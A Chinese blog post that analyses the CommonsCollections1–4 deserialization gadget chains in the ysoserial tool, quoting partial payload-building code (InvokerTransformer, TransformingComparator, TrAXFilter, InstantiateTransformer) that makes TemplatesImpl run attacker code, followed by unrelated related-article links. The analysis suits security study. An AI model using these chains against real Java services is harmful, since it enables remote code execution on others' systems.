<p>对CommonsCollections类,ysoserial工具中存在四种利用方法。所用的方法都是与上面几个payload类似。</p>
CommonsCollections1自然是使用了LazyMap和动态代理机制进行触发调用Transformer执行链,请参考链接2。
<p>CommonsCollections2和CommonsBeanutilsCollectionsLogging1一样也使用了比较器去触发TemplatesImpl的newTransformer方法执行命令。<br>
这里用到的比较器为TransformingComparator,直接看其compare方法:</p>
<pre class="brush:java;">#!javapublic int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2);}</pre>
<p>很直接调用了transformer.transform(obj1),这里的obj1就是payload中的templates对象。<br>
主要代码为:</p>
<pre class="brush:java;">#!java// mock method name until armedfinal InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2,new TransformingComparator(transformer)); .........// switch method called by comparatorReflections.setFieldValue(transformer, "iMethodName", "newTransformer");//使用反射机制改变私有变量~ 不然,会在之前就执行命令,无法生成序列化数据。//反序列化时,会调用TemplatesImpl的newTransformer方法。</object></object></pre>
<p>根据熟悉的InvokerTransformer作用,最终会调用templates.newTransformer()执行恶意java代码。</p>
<p>CommonsCollections3是CommonsCollections1的变种,将执行链换了下:</p>
<pre class="brush:java;">#!javaTemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);.............// real chain for after setupfinal Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; </pre>
<p>查看InstantiateTransformer的transform方法,可以看到关键代码:</p>
<pre class="brush:java;">#!javaConstructor con = ((Class) input).getConstructor(iParamTypes); //input为TrAXFilter.classreturn con.newInstance(iArgs);</pre>
<p>即:transformer执行链会执行new TrAXFilter(templatesImpl)。正好,TrAXFilter类构造函数中调用了templates.newTransformer()方法。都是套路啊。</p>
<pre class="brush:java;">#!javapublic TrAXFilter(Templates templates) throws TransformerConfigurationException{ _templates = templates; _transformer = (TransformerImpl) templates.newTransformer();//触发执行命令 _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism();}</pre>
<p>CommonsCollections4是CommonsCollections2的变种。同样使用InstantiateTransformer触发templates.newTransformer()代替了之前的执行链。</p>
<pre class="brush:java;">#!javaTemplatesImpl templates = Gadgets.createTemplatesImpl(command);...............// grab defensively copied arraysparamTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");..............// swap in values to armReflections.setFieldValue(constant, "iConstant", TrAXFilter.class);paramTypes[0] = Templates.class;args[0] = templates;...................</pre>
<p>照例生成PriorityQueue<object>queue后,使用反射机制对其属性进行修改。保证成功生成payload。</object></p>
<p>个人总结:payload分析完了,里面涉及的方法很巧妙。也有许多共同的利用特性,值得学习~~</p>
</string,></k,v></size;>
浅谈java反序列化工具ysoserial的更多相关文章
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
- 浅谈java构建工具的选择
在学校的时候还总是自己用eclipse自带的jar导出工具,然后人工来给项目打包,那是相当的原始. 而后工作了,项目中都是用ant,慢慢的开始学会使用这个工具.感觉就和脚本一样,很容易读懂,做项目构建 ...
- 浅谈java性能分析
浅谈java性能分析,效能分析 在老师强烈的要求下做了效能分析,对上次写过的词频统计的程序进行分析以及改进. 对于效能分析:我个人很浅显的认为就是程序的运行效率,代码的执行效率等等. java做性能测 ...
- 浅谈Java的集合框架
浅谈Java的集合框架 一. 初识集合 重所周知,Java有四大集合框架群,Set.List.Queue和Map.四种集合的关注点不同,Set 关注事物的唯一性,List 关注事物的索引列表,Q ...
- 浅谈 Java 主流开源类库解析 XML
在大型项目编码推进中,涉及到 XML 解析问题时,大多数程序员都不太会选用底层的解析方式直接编码. 主要存在编码复杂性.难扩展.难复用....,但如果你是 super 程序员或是一个人的项目,也不妨一 ...
- 浅谈Java语言环境搭建-JDK8
title: 浅谈Java语言环境搭建-JDK8 blog: CSDN data: Java学习路线及视频 1.What's the JDK,JRE JDK(Java Development Kit ...
- 浅谈Java的throw与throws
转载:http://blog.csdn.net/luoweifu/article/details/10721543 我进行了一些加工,不是本人原创但比原博主要更完善~ 浅谈Java异常 以前虽然知道一 ...
- 浅谈Java中的equals和==(转)
浅谈Java中的equals和== 在初学Java时,可能会经常碰到下面的代码: 1 String str1 = new String("hello"); 2 String str ...
- 浅谈Java中的对象和引用
浅谈Java中的对象和对象引用 在Java中,有一组名词经常一起出现,它们就是“对象和对象引用”,很多朋友在初学Java的时候可能经常会混淆这2个概念,觉得它们是一回事,事实上则不然.今天我们就来一起 ...
随机推荐
- pat 甲级 1099. Build A Binary Search Tree (30)
1099. Build A Binary Search Tree (30) 时间限制 100 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 CHEN ...
- 洛谷 P1027 Car的旅行路线
P1027 Car的旅行路线 题目描述 又到暑假了,住在城市A的Car想和朋友一起去城市B旅游.她知道每个城市都有四个飞机场,分别位于一个矩形的四个顶点上,同一个城市中两个机场之间有一条笔直的高速铁路 ...
- 输出前k大的数
总时间限制: 10000ms单个测试点时间限制:1000ms内存限制:65536kB(noi) 描述 给定一个数组,统计前k大的数并且把这k个数从大到小输出. 输入 第一行包含一个整数n,表示数组的大 ...
- 【HDOJ5555】Immortality of Frog(状压DP)
题意:给你一个NxN的网格,第N行的每一列都有个青蛙,这些青蛙只会往上走, 上帝会在每个膜中随机等概率放一个长生不老的药, 一共有N个膜,每个膜覆盖一些区间,如果这个区间恰好为N那么就是好膜,否则是坏 ...
- BZOJ 3876 支线剧情
支线剧情 [故事背景] 宅男JYY非常喜欢玩RPG游戏,比如仙剑,轩辕剑等等.不过JYY喜欢的并不是战斗场景,而是类似电视剧一般的充满恩怨情仇的剧情.这些游戏往往都有很多的支线剧情,现在JYY想花费最 ...
- [LeetCode] Maximum Depth of Binary Tree dfs,深度搜索
Given a binary tree, find its maximum depth. The maximum depth is the number of nodes along the long ...
- Atcoder CODE FESTIVAL 2017 qual C D - Yet Another Palindrome Partitioning 回文串划分
题目链接 题意 给定一个字符串(长度\(\leq 2e5\)),将其划分成尽量少的段,使得每段内重新排列后可以成为一个回文串. 题解 分析 每段内重新排列后是一个回文串\(\rightarrow\)该 ...
- eclipse集成JBPM
JBPM4.4是一款运用的比较广泛的工作流开发框架,最近参与的BSS项目里面也有用到了JBPM4.4.自己在已经搭建的框架下使用,但更详细的理解并没有.因此借此机会学习一下. 学习版本为:JBPM为4 ...
- smtp发送邮件记得结尾发送"\r\n.\r\n"
前段时间老板安排我修复一个邮件服务器后台C程序的bug,这个功能是邮件强制发送功能,从邮件管理后台将垃圾邮件发送出去. 因为服务器是debian系统,所以我用dbg配合日志大致跟踪后,追踪到了读取邮件 ...
- Xamarin XAML语言教程Visual Studio中实现XAML预览
Xamarin XAML语言教程Visual Studio中实现XAML预览 每次通过编译运行的方式查看XAML文件效果,需要花费大量的时间.如果开发者使用XAML对UI进行布局和设计,可以通过预览的 ...